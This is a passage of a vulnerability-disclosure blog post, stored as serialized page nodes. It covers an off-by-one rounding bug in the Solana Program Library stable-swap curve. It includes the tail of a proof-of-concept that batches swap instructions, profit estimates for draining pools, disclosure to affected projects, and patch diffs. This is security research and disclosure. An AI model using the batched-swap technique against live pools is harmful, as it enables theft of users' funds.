instructions",{"type":25,"tag":216,"props":7740,"children":7741},{"style":6947},[7742],{"type":31,"value":6950},{"type":25,"tag":216,"props":7744,"children":7745},{"style":7041},[7746],{"type":31,"value":7690},{"type":25,"tag":216,"props":7748,"children":7749},{"style":6958},[7750],{"type":31,"value":7751},"[];\n",{"type":25,"tag":216,"props":7753,"children":7755},{"class":6916,"line":7754},22,[7756],{"type":25,"tag":216,"props":7757,"children":7758},{"emptyLinePlaceholder":16},[7759],{"type":31,"value":7636},{"type":25,"tag":216,"props":7761,"children":7763},{"class":6916,"line":7762},23,[7764,7769,7773,7778,7782,7787],{"type":25,"tag":216,"props":7765,"children":7766},{"style":6941},[7767],{"type":31,"value":7768},"    instructions",{"type":25,"tag":216,"props":7770,"children":7771},{"style":6947},[7772],{"type":31,"value":179},{"type":25,"tag":216,"props":7774,"children":7775},{"style":7041},[7776],{"type":31,"value":7777},"push",{"type":25,"tag":216,"props":7779,"children":7780},{"style":6958},[7781],{"type":31,"value":1844},{"type":25,"tag":216,"props":7783,"children":7784},{"style":6941},[7785],{"type":31,"value":7786},"swap_instruction",{"type":25,"tag":216,"props":7788,"children":7789},{"style":6958},[7790],{"type":31,"value":7791},");\n",{"type":25,"tag":216,"props":7793,"children":7795},{"class":6916,"line":7794},24,[7796],{"type":25,"tag":216,"props":7797,"children":7798},{"emptyLinePlaceholder":16},[7799],{"type":31,"value":7636},{"type":25,"tag":216,"props":7801,"children":7803},{"class":6916,"line":7802},25,[7804,7809,7813,7818,7822,7826,7831,7835,7839,7844,7848,7852,7856],{"type":25,"tag":216,"props":7805,"children":7806},{"style":6941},[7807],{"type":31,"value":7808},"    env",{"type":25,"tag":216,"props":7810,"children":7811},{"style":6947},[7812],{"type":31,"value":179},{"type":25,"tag":216,"props":7814,"children":7815},{"style":7041},[7816],{"type":31,"value":7817},"execute_as_transaction",{"type":25,"tag":216,"props":7819,"children":7820},{"style":6958},[7821],{"type":31,"value":1844},{"type":25,"tag":216,"props":7823,"children":7824},{"style":6947},[7825],{"type":31,"value":7053},{"type":25,"tag":216,"props":7827,"children":7828},{"style":6941},[7829],{"type":31,"value":7830},"instructions",{"type":25,"tag":216,"props":7832,"children":7833},{"style":6958},[7834],{"type":31,"value":7020},{"type":25,"tag":216,"props":7836,"children":7837},{"style":6947},[7838],{"type":31,"value":7053},{"type":25,"tag":216,"props":7840,"children":7841},{"style":7041},[7842],{"type":31,"value":7843},"vec!",{"type":25,"tag":216,"props":7845,"children":7846},{"style":6958},[7847],{"type":31,"value":7695},{"type":25,"tag":216,"props":7849,"children":7850},{"style":6947},[7851],{"type":31,"value":7053},{"type":25,"tag":216,"props":7853,"children":7854},{"style":6941},[7855],{"type":31,"value":7487},{"type":25,"tag":216,"props":7857,"children":7858},{"style":6958},[7859],{"type":31,"value":7713},{"type":25,"tag":216,"props":7861,"children":7863},{"class":6916,"line":7862},26,[7864],{"type":25,"tag":216,"props":7865,"children":7866},{"style":6958},[7867],{"type":31,"value":7868},"}\n",{"type":25,"tag":38,"props":7870,"children":7871},{},[7872],{"type":31,"value":7873},"It works!",{"type":25,"tag":34,"props":7875,"children":7876},{},[7877],{"type":25,"tag":38,"props":7878,"children":7879},{},[7880],{"type":31,"value":7881},"holy shit\nyea, this is big",{"type":25,"tag":38,"props":7883,"children":7884},{},[7885],{"type":25,"tag":6461,"props":7886,"children":7888},{"alt":7,"src":7887},"/posts/spl-swap/poc.png",[],{"type":25,"tag":26,"props":7890,"children":7892},{"id":7891},"exploitability",[7893],{"type":31,"value":7894},"Exploitability",{"type":25,"tag":38,"props":7896,"children":7897},{},[7898],{"type":31,"value":7899},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":25,"tag":38,"props":7901,"children":7902},{},[7903],{"type":31,"value":7904},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":25,"tag":38,"props":7906,"children":7907},{},[7908],{"type":31,"value":7909},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":25,"tag":38,"props":7911,"children":7912},{},[7913],{"type":25,"tag":6461,"props":7914,"children":7916},{"alt":7,"src":7915},"/posts/spl-swap/pr.png",[],{"type":25,"tag":38,"props":7918,"children":7919},{},[7920,7922,7927],{"type":31,"value":7921},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":25,"tag":64,"props":7923,"children":7924},{},[7925],{"type":31,"value":7926},"per instruction",{"type":31,"value":7928},". Transactions on Solana can also contain multiple instructions.",{"type":25,"tag":38,"props":7930,"children":7931},{},[7932],{"type":31,"value":7933},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":25,"tag":38,"props":7935,"children":7936},{},[7937,7939,7944],{"type":31,"value":7938},"Some quick napkin math confirms that this ",{"type":25,"tag":64,"props":7940,"children":7941},{},[7942],{"type":31,"value":7943},"is",{"type":31,"value":7945}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":25,"tag":38,"props":7947,"children":7948},{},[7949],{"type":25,"tag":82,"props":7950,"children":7952},{"className":7951},[212,4696],[7953],{"type":25,"tag":216,"props":7954,"children":7956},{"className":7955},[224],[7957],{"type":25,"tag":216,"props":7958,"children":7960},{"className":7959,"ariaHidden":230},[229],[7961,8050,8102,8140],{"type":25,"tag":216,"props":7962,"children":7964},{"className":7963},[235],[7965,7970,7975,8026,8036,8040,8046],{"type":25,"tag":216,"props":7966,"children":7969},{"className":7967,"style":7968},[240],"height:0.8141em;",[],{"type":25,"tag":216,"props":7971,"children":7973},{"className":7972},[246],[7974],{"type":31,"value":184},{"type":25,"tag":216,"props":7976,"children":7978},{"className":7977},[246],[7979,7984],{"type":25,"tag":216,"props":7980,"children":7982},{"className":7981},[246],[7983],{"type":31,"value":1876},{"type":25,"tag":216,"props":7985,"children":7987},{"className":7986},[2153],[7988],{"type":25,"tag":216,"props":7989,"children":7991},{"className":7990},[298],[7992],{"type":25,"tag":216,"props":7993,"children":7995},{"className":7994},[304],[7996],{"type":25,"tag":216,"props":7997,"children":7999},{"className":7998,"style":7968},[309],[8000],{"type":25,"tag":216,"props":8001,"children":8002},{"style":6098},[8003,8007],{"type":25,"tag":216,"props":8004,"children":8006},{"className":8005,"style":2175},[319],[],{"type":25,"tag":216,"props":8008,"children":8010},{"className":8009},[2180,2181,2182,2183],[8011],{"type":25,"tag":216,"props":8012,"children":8014},{"className":8013},[246,2183],[8015,8020],{"type":25,"tag":216,"props":8016,"children":8018},{"className":8017},[246,2183],[8019],{"type":31,"value":3372},{"type":25,"tag":216,"props":8021,"children":8023},{"className":8022},[246,2183],[8024],{"type":31,"value":8025},"8",{"type":25,"tag":216,"props":8027,"children":8029},{"className":8028},[246,31],[8030],{"type":25,"tag":216,"props":8031,"children":8033},{"className":8032},[246],[8034],{"type":31,"value":8035}," BTC",{"type":25,"tag":216,"props":8037,"children":8039},{"className":8038,"style":335},[257],[],{"type":25,"tag":216,"props":8041,"children":8043},{"className":8042},[340],[8044],{"type":31,"value":8045},"∗",{"type":25,"tag":216,"props":8047,"children":8049},{"className":8048,"style":335},[257],[],{"type":25,"tag":216,"props":8051,"children":8053},{"className":8052},[235],[8054,8058,8064,8069,8073,8079,8089,8093,8098],{"type":25,"tag":216,"props":8055,"children":8057},{"className":8056,"style":5507},[240],[],{"type":25,"tag":216,"props":8059,"children":8061},{"className":8060},[246],[8062],{"type":31,"value":8063},"$41",{"type":25,"tag":216,"props":8065,"children":8067},{"className":8066},[1858],[8068],{"type":31,"value":1861},{"type":25,"tag":216,"props":8070,"children":8072},{"className":8071,"style":1865},[257],[],{"type":25,"tag":216,"props":8074,"children":8076},{"className":8075},[246],[8077],{"type":31,"value":8078},"400/",{"type":25,"tag":216,"props":8080,"children":8082},{"className":8081},[246,31],[8083],{"type":25,"tag":216,"props":8084,"children":8086},{"className":8085},[246],[8087],{"type":31,"value":8088},"BTC",{"type":25,"tag":216,"props":8090,"children":8092},{"className":8091,"style":335},[257],[],{"type":25,"tag":216,"props":8094,"children":8096},{"className":8095},[340],[8097],{"type":31,"value":8045},{"type":25,"tag":216,"props":8099,"children":8101},{"className":8100,"style":335},[257],[],{"type":25,"tag":216,"props":8103,"children":8105},{"className":8104},[235],[8106,8111,8117,8127,8131,8136],{"type":25,"tag":216,"props":8107,"children":8110},{"className":8108,"style":8109},[240],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":25,"tag":216,"props":8112,"children":8114},{"className":8113},[246],[8115],{"type":31,"value":8116},"150",{"type":25,"tag":216,"props":8118,"children":8120},{"className":8119},[246,31],[8121],{"type":25,"tag":216,"props":8122,"children":8124},{"className":8123},[246],[8125],{"type":31,"value":8126}," swaps",{"type":25,"tag":216,"props":8128,"children":8130},{"className":8129,"style":258},[257],[],{"type":25,"tag":216,"props":8132,"children":8134},{"className":8133},[263],[8135],{"type":31,"value":266},{"type":25,"tag":216,"props":8137,"children":8139},{"className":8138,"style":258},[257],[],{"type":25,"tag":216,"props":8141,"children":8143},{"className":8142},[235],[8144,8149],{"type":25,"tag":216,"props":8145,"children":8148},{"className":8146,"style":8147},[240],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":25,"tag":216,"props":8150,"children":8152},{"className":8151},[246],[8153],{"type":31,"value":8154},"$0.0621",{"type":25,"tag":38,"props":8156,"children":8157},{},[8158],{"type":31,"value":8159},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":25,"tag":38,"props":8161,"children":8162},{},[8163],{"type":31,"value":8164},"We're well on our way to becoming a millionaire!",{"type":25,"tag":26,"props":8166,"children":8168},{"id":8167},"patch",[8169],{"type":31,"value":8170},"Patch",{"type":25,"tag":38,"props":8172,"children":8173},{},[8174],{"type":31,"value":8175},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":25,"tag":38,"props":8177,"children":8178},{},[8179],{"type":31,"value":8180},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":25,"tag":206,"props":8182,"children":8186},{"code":8183,"language":8184,"meta":7,"className":8185,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[8187],{"type":25,"tag":82,"props":8188,"children":8189},{"__ignoreMap":7},[8190],{"type":25,"tag":216,"props":8191,"children":8192},{"class":6916,"line":6917},[8193,8197,8203,8208,8213,8218,8223],{"type":25,"tag":216,"props":8194,"children":8195},{"style":7041},[8196],{"type":31,"value":6809},{"type":25,"tag":216,"props":8198,"children":8200},{"style":8199},"--shiki-default:#CE9178",[8201],{"type":31,"value":8202}," logs",{"type":25,"tag":216,"props":8204,"children":8205},{"style":8199},[8206],{"type":31,"value":8207}," -um",{"type":25,"tag":216,"props":8209,"children":8210},{"style":6947},[8211],{"type":31,"value":8212}," |",{"type":25,"tag":216,"props":8214,"children":8215},{"style":7041},[8216],{"type":31,"value":8217}," grep",{"type":25,"tag":216,"props":8219,"children":8220},{"style":8199},[8221],{"type":31,"value":8222}," 'Instruction: Swap'",{"type":25,"tag":216,"props":8224,"children":8225},{"style":8199},[8226],{"type":31,"value":8227}," -B1\n",{"type":25,"tag":38,"props":8229,"children":8230},{},[8231],{"type":31,"value":8232},"With some Google dorking, we were able to identify many of these programs.",{"type":25,"tag":206,"props":8234,"children":8236},{"code":8235},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ  - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ  - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr  - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ  - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1  - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8  - Swap Program\n",[8237],{"type":25,"tag":82,"props":8238,"children":8239},{"__ignoreMap":7},[8240],{"type":31,"value":8235},{"type":25,"tag":38,"props":8242,"children":8243},{},[8244],{"type":31,"value":8245},"Now it was time to contact these teams.",{"type":25,"tag":38,"props":8247,"children":8248},{},[8249],{"type":31,"value":8250},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":25,"tag":38,"props":8252,"children":8253},{},[8254],{"type":31,"value":8255},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":25,"tag":206,"props":8257,"children":8259},{"code":8258,"language":6908,"meta":7,"className":6909,"style":7},"-        let dy = swap_destination_amount.checked_sub(y)?;\n+        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+        let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[8260],{"type":25,"tag":82,"props":8261,"children":8262},{"__ignoreMap":7},[8263,8317,8329],{"type":25,"tag":216,"props":8264,"children":8265},{"class":6916,"line":6917},[8266,8271,8275,8280,8284,8289,8293,8297,8301,8305,8309,8313],{"type":25,"tag":216,"props":8267,"children":8268},{"style":6947},[8269],{"type":31,"value":8270},"-",{"type":25,"tag":216,"props":8272,"children":8273},{"style":6930},[8274],{"type":31,"value":7005},{"type":25,"tag":216,"props":8276,"children":8277},{"style":6941},[8278],{"type":31,"value":8279}," dy",{"type":25,"tag":216,"props":8281,"children":8282},{"style":6947},[8283],{"type":31,"value":6950},{"type":25,"tag":216,"props":8285,"children":8286},{"style":6941},[8287],{"type":31,"value":8288}," swap_destination_amount",{"type":25,"tag":216,"props":8290,"children":8291},{"style":6947},[8292],{"type":31,"value":179},{"type":25,"tag":216,"props":8294,"children":8295},{"style":7041},[8296],{"type":31,"value":7178},{"type":25,"tag":216,"props":8298,"children":8299},{"style":6958},[8300],{"type":31,"value":1844},{"type":25,"tag":216,"props":8302,"children":8303},{"style":6941},[8304],{"type":31,"value":7058},{"type":25,"tag":216,"props":8306,"children":8307},{"style":6958},[8308],{"type":31,"value":1882},{"type":25,"tag":216,"props":8310,"children":8311},{"style":6947},[8312],{"type":31,"value":605},{"type":25,"tag":216,"props":8314,"children":8315},{"style":6958},[8316],{"type":31,"value":6961},{"type":25,"tag":216,"props":8318,"children":8319},{"class":6916,"line":6763},[8320,8324],{"type":25,"tag":216,"props":8321,"children":8322},{"style":6947},[8323],{"type":31,"value":3533},{"type":25,"tag":216,"props":8325,"children":8326},{"style":6921},[8327],{"type":31,"value":8328},"        // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":25,"tag":216,"props":8330,"children":8331},{"class":6916,"line":6772},[8332,8336,8340,8344,8348,8352,8356,8360,8364,8368,8372,8376,8380,8384,8388,8392,8396],{"type":25,"tag":216,"props":8333,"children":8334},{"style":6947},[8335],{"type":31,"value":3533},{"type":25,"tag":216,"props":8337,"children":8338},{"style":6930},[8339],{"type":31,"value":7005},{"type":25,"tag":216,"props":8341,"children":8342},{"style":6941},[8343],{"type":31,"value":8279},{"type":25,"tag":216,"props":8345,"children":8346},{"style":6947},[8347],{"type":31,"value":6950},{"type":25,"tag":216,"props":8349,"children":8350},{"style":6941},[8351],{"type":31,"value":8288},{"type":25,"tag":216,"props":8353,"children":8354},{"style":6947},[8355],{"type":31,"value":179},{"type":25,"tag":216,"props":8357,"children":8358},{"style":7041},[8359],{"type":31,"value":7178},{"type":25,"tag":216,"props":8361,"children":8362},{"style":6958},[8363],{"type":31,"value":1844},{"type":25,"tag":216,"props":8365,"children":8366},{"style":6941},[8367],{"type":31,"value":7058},{"type":25,"tag":216,"props":8369,"children":8370},{"style":6958},[8371],{"type":31,"value":1882},{"type":25,"tag":216,"props":8373,"children":8374},{"style":6947},[8375],{"type":31,"value":7075},{"type":25,"tag":216,"props":8377,"children":8378},{"style":7041},[8379],{"type":31,"value":7178},{"type":25,"tag":216,"props":8381,"children":8382},{"style":6958},[8383],{"type":31,"value":1844},{"type":25,"tag":216,"props":8385,"children":8386},{"style":6983},[8387],{"type":31,"value":184},{"type":25,"tag":216,"props":8389,"children":8390},{"style":6958},[8391],{"type":31,"value":1882},{"type":25,"tag":216,"props":8393,"children":8394},{"style":6947},[8395],{"type":31,"value":605},{"type":25,"tag":216,"props":8397,"children":8398},{"style":6958},[8399],{"type":31,"value":6961},{"type":25,"tag":38,"props":8401,"children":8402},{},[8403,8405,8412],{"type":31,"value":8404},"For reference, here is the ",{"type":25,"tag":162,"props":8406,"children":8409},{"href":8407,"rel":8408},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[166],[8410],{"type":31,"value":8411},"Curve.fi implementation",{"type":31,"value":179},{"type":25,"tag":206,"props":8414,"children":8418},{"code":8415,"language":8416,"meta":7,"className":8417,"style":7},"    dy: uint256 = xp[j] - y - 1  # -1 just in case there were some rounding errors\n    dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[8419],{"type":25,"tag":82,"props":8420,"children":8421},{"__ignoreMap":7},[8422,8484],{"type":25,"tag":216,"props":8423,"children":8424},{"class":6916,"line":6917},[8425,8430,8434,8439,8443,8448,8452,8457,8461,8466,8471,8475,8479],{"type":25,"tag":216,"props":8426,"children":8427},{"style":6958},[8428],{"type":31,"value":8429},"    dy",{"type":25,"tag":216,"props":8431,"children":8432},{"style":6947},[8433],{"type":31,"value":1466},{"type":25,"tag":216,"props":8435,"children":8436},{"style":7369},[8437],{"type":31,"value":8438}," uint256",{"type":25,"tag":216,"props":8440,"children":8441},{"style":6947},[8442],{"type":31,"value":6950},{"type":25,"tag":216,"props":8444,"children":8445},{"style":6958},[8446],{"type":31,"value":8447}," xp[j] ",{"type":25,"tag":216,"props":8449,"children":8450},{"style":6947},[8451],{"type":31,"value":8270},{"type":25,"tag":216,"props":8453,"children":8454},{"style":6958},[8455],{"type":31,"value":8456}," y ",{"type":25,"tag":216,"props":8458,"children":8459},{"style":6947},[8460],{"type":31,"value":8270},{"type":25,"tag":216,"props":8462,"children":8463},{"style":6983},[8464],{"type":31,"value":8465}," 1",{"type":25,"tag":216,"props":8467,"children":8468},{"style":6958},[8469],{"type":31,"value":8470},"  # ",{"type":25,"tag":216,"props":8472,"children":8473},{"style":6947},[8474],{"type":31,"value":8270},{"type":25,"tag":216,"props":8476,"children":8477},{"style":6983},[8478],{"type":31,"value":184},{"type":25,"tag":216,"props":8480,"children":8481},{"style":6958},[8482],{"type":31,"value":8483}," just in case there were some rounding errors\n",{"type":25,"tag":216,"props":8485,"children":8486},{"class":6916,"line":6763},[8487,8492,8496,8500,8504,8509,8514,8519,8523],{"type":25,"tag":216,"props":8488,"children":8489},{"style":6958},[8490],{"type":31,"value":8491},"    dy_fee",{"type":25,"tag":216,"props":8493,"children":8494},{"style":6947},[8495],{"type":31,"value":1466},{"type":25,"tag":216,"props":8497,"children":8498},{"style":7369},[8499],{"type":31,"value":8438},{"type":25,"tag":216,"props":8501,"children":8502},{"style":6947},[8503],{"type":31,"value":6950},{"type":25,"tag":216,"props":8505,"children":8506},{"style":6958},[8507],{"type":31,"value":8508}," dy ",{"type":25,"tag":216,"props":8510,"children":8511},{"style":6947},[8512],{"type":31,"value":8513},"*",{"type":25,"tag":216,"props":8515,"children":8516},{"style":6958},[8517],{"type":31,"value":8518}," self.fee ",{"type":25,"tag":216,"props":8520,"children":8521},{"style":6947},[8522],{"type":31,"value":5749},{"type":25,"tag":216,"props":8524,"children":8525},{"style":6958},[8526],{"type":31,"value":8527}," FEE_DENOMINATOR\n",{"type":25,"tag":38,"props":8529,"children":8530},{},[8531,8533,8540],{"type":31,"value":8532},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":25,"tag":162,"props":8534,"children":8537},{"href":8535,"rel":8536},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[166],[8538],{"type":31,"value":8539},"original commit",{"type":31,"value":8541},", not as an additional security patch.",{"type":25,"tag":206,"props":8543,"children":8545},{"code":8544},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate:   Mon Aug 31 02:35:30 2020 +0300\n\n    feat: add base pool without lending\n",[8546],{"type":25,"tag":82,"props":8547,"children":8548},{"__ignoreMap":7},[8549],{"type":31,"value":8544},{"type":25,"tag":38,"props":8551,"children":8552},{},[8553,8555,8562],{"type":31,"value":8554},"The commit adding stable swaps to SPL was ",{"type":25,"tag":162,"props":8556,"children":8559},{"href":8557,"rel":8558},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[166],[8560],{"type":31,"value":8561},"made a few months later",{"type":31,"value":8563},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":25,"tag":206,"props":8565,"children":8567},{"code":8566},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate:   Tue Nov 17 15:13:18 2020 +0200\n\n    Added stable curve invariant to the token swap smart contract (#838)\n\n    * Added stable curve invariant to the token swap smart contract\n\n    * Fixed formatting\n\n    * Added missing stable curve constraints\n\n    * Symbol renames to make math clearer\n\n    * Small refactoring according to PR comments, fixes for JS tests\n",[8568],{"type":25,"tag":82,"props":8569,"children":8570},{"__ignoreMap":7},[8571],{"type":31,"value":8566},{"type":25,"tag":38,"props":8573,"children":8574},{},[8575,8577,8584],{"type":31,"value":8576},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":25,"tag":162,"props":8578,"children":8581},{"href":8579,"rel":8580},"https://github.com/solana-labs/solana-program-library",[166],[8582],{"type":31,"value":8583},"the Solana Program Library",{"type":31,"value":179},{"type":25,"tag":38,"props":8586,"children":8587},{},[8588],{"type":31,"value":8589},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":25,"tag":38,"props":8591,"children":8592},{},[8593,8600],{"type":25,"tag":162,"props":8594,"children":8597},{"href":8595,"rel":8596},"https://github.com/joncinque",[166],[8598],{"type":31,"value":8599},"@joncinque",{"type":31,"value":8601}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":25,"tag":34,"props":8603,"children":8604},{},[8605],{"type":25,"tag":38,"props":8606,"children":8607},{},[8608],{"type":31,"value":8609},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":25,"tag":38,"props":8611,"children":8612},{},[8613,8615,8622,8624,8630],{"type":31,"value":8614},"After some thought, he helped ",{"type":25,"tag":162,"props":8616,"children":8619},{"href":8617,"rel":8618},"https://github.com/solana-labs/solana-program-library/pull/2942",[166],[8620],{"type":31,"value":8621},"introduce a PR",{"type":31,"value":8623}," which ceilings the computation in ",{"type":25,"tag":82,"props":8625,"children":8627},{"className":8626},[],[8628],{"type":31,"value":8629},"compute_new_destination_amount",{"type":31,"value":8631}," to correctly round within the stable curve math library.",{"type":25,"tag":206,"props":8633,"children":8635},{"code":8634,"language":6908,"meta":7,"className":6909,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[8636],{"type":25,"tag":82,"props":8637,"children":8638},{"__ignoreMap":7},[8639,8647,8677,8704,8732,8756,8832,8936,8963,9058,9161,9188,9200,9219,9242],{"type":25,"tag":216,"props":8640,"children":8641},{"class":6916,"line":6917},[8642],{"type":25,"tag":216,"props":8643,"children":8644},{"style":6921},[8645],{"type":31,"value":8646},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":25,"tag":216,"props":8648,"children":8649},{"class":6916,"line":6763},[8650,8655,8659,8664,8668,8673],{"type":25,"tag":216,"props":8651,"children":8652},{"style":6930},[8653],{"type":31,"value":8654},"     let",{"type":25,"tag":216,"props":8656,"children":8657},{"style":6930},[8658],{"type":31,"value":6938},{"type":25,"tag":216,"props":8660,"children":8661},{"style":6941},[8662],{"type":31,"value":8663}," y_prev",{"type":25,"tag":216,"props":8665,"children":8666},{"style":6947},[8667],{"type":31,"value":1466},{"type":25,"tag":216,"props":8669,"children":8670},{"style":7369},[8671],{"type":31,"value":8672}," U256",{"type":25,"tag":216,"props":8674,"children":8675},{"style":6958},[8676],{"type":31,"value":6961},{"type":25,"tag":216,"props":8678,"children":8679},{"class":6916,"line":6772},[8680,8684,8688,8692,8696,8700],{"type":25,"tag":216,"props":8681,"children":8682},{"style":6930},[8683],{"type":31,"value":8654},{"type":25,"tag":216,"props":8685,"children":8686},{"style":6930},[8687],{"type":31,"value":6938},{"type":25,"tag":216,"props":8689,"children":8690},{"style":6941},[8691],{"type":31,"value":6944},{"type":25,"tag":216,"props":8693,"children":8694},{"style":6947},[8695],{"type":31,"value":6950},{"type":25,"tag":216,"props":8697,"children":8698},{"style":6941},[8699],{"type":31,"value":6955},{"type":25,"tag":216,"props":8701,"children":8702},{"style":6958},[8703],{"type":31,"value":6961},{"type":25,"tag":216,"props":8705,"children":8706},{"class":6916,"line":6999},[8707,8712,8716,8720,8724,8728],{"type":25,"tag":216,"props":8708,"children":8709},{"style":6967},[8710],{"type":31,"value":8711},"     for",{"type":25,"tag":216,"props":8713,"children":8714},{"style":6941},[8715],{"type":31,"value":6975},{"type":25,"tag":216,"props":8717,"children":8718},{"style":6930},[8719],{"type":31,"value":6980},{"type":25,"tag":216,"props":8721,"children":8722},{"style":6983},[8723],{"type":31,"value":6986},{"type":25,"tag":216,"props":8725,"children":8726},{"style":6947},[8727],{"type":31,"value":6991},{"type":25,"tag":216,"props":8729,"children":8730},{"style":6958},[8731],{"type":31,"value":6996},{"type":25,"tag":216,"props":8733,"children":8734},{"class":6916,"line":7104},[8735,8739,8744,8748,8752],{"type":25,"tag":216,"props":8736,"children":8737},{"style":6947},[8738],{"type":31,"value":8270},{"type":25,"tag":216,"props":8740,"children":8741},{"style":6941},[8742],{"type":31,"value":8743},"        y_prev",{"type":25,"tag":216,"props":8745,"children":8746},{"style":6947},[8747],{"type":31,"value":6950},{"type":25,"tag":216,"props":8749,"children":8750},{"style":6941},[8751],{"type":31,"value":6944},{"type":25,"tag":216,"props":8753,"children":8754},{"style":6958},[8755],{"type":31,"value":6961},{"type":25,"tag":216,"props":8757,"children":8758},{"class":6916,"line":7210},[8759,8763,8768,8772,8776,8780,8784,8788,8792,8796,8800,8804,8808,8812,8816,8820,8824,8828],{"type":25,"tag":216,"props":8760,"children":8761},{"style":6947},[8762],{"type":31,"value":8270},{"type":25,"tag":216,"props":8764,"children":8765},{"style":6941},[8766],{"type":31,"value":8767},"        y",{"type":25,"tag":216,"props":8769,"children":8770},{"style":6947},[8771],{"type":31,"value":6950},{"type":25,"tag":216,"props":8773,"children":8774},{"style":6958},[8775],{"type":31,"value":7010},{"type":25,"tag":216,"props":8777,"children":8778},{"style":7041},[8779],{"type":31,"value":7044},{"type":25,"tag":216,"props":8781,"children":8782},{"style":6958},[8783],{"type":31,"value":1844},{"type":25,"tag":216,"props":8785,"children":8786},{"style":6947},[8787],{"type":31,"value":7053},{"type":25,"tag":216,"props":8789,"children":8790},{"style":6941},[8791],{"type":31,"value":7058},{"type":25,"tag":216,"props":8793,"children":8794},{"style":6958},[8795],{"type":31,"value":7020},{"type":25,"tag":216,"props":8797,"children":8798},{"style":6983},[8799],{"type":31,"value":331},{"type":25,"tag":216,"props":8801,"children":8802},{"style":6958},[8803],{"type":31,"value":1882},{"type":25,"tag":216,"props":8805,"children":8806},{"style":6947},[8807],{"type":31,"value":7075},{"type":25,"tag":216,"props":8809,"children":8810},{"style":7041},[8811],{"type":31,"value":7080},{"type":25,"tag":216,"props":8813,"children":8814},{"style":6958},[8815],{"type":31,"value":1844},{"type":25,"tag":216,"props":8817,"children":8818},{"style":6941},[8819],{"type":31,"value":2248},{"type":25,"tag":216,"props":8821,"children":8822},{"style":6958},[8823],{"type":31,"value":1882},{"type":25,"tag":216,"props":8825,"children":8826},{"style":6947},[8827],{"type":31,"value":605},{"type":25,"tag":216,"props":8829,"children":8830},{"style":6958},[8831],{"type":31,"value":7101},{"type":25,"tag":216,"props":8833,"children":8834},{"class":6916,"line":7238},[8835,8839,8843,8848,8852,8856,8860,8864,8868,8872,8876,8880,8884,8888,8892,8896,8900,8904,8908,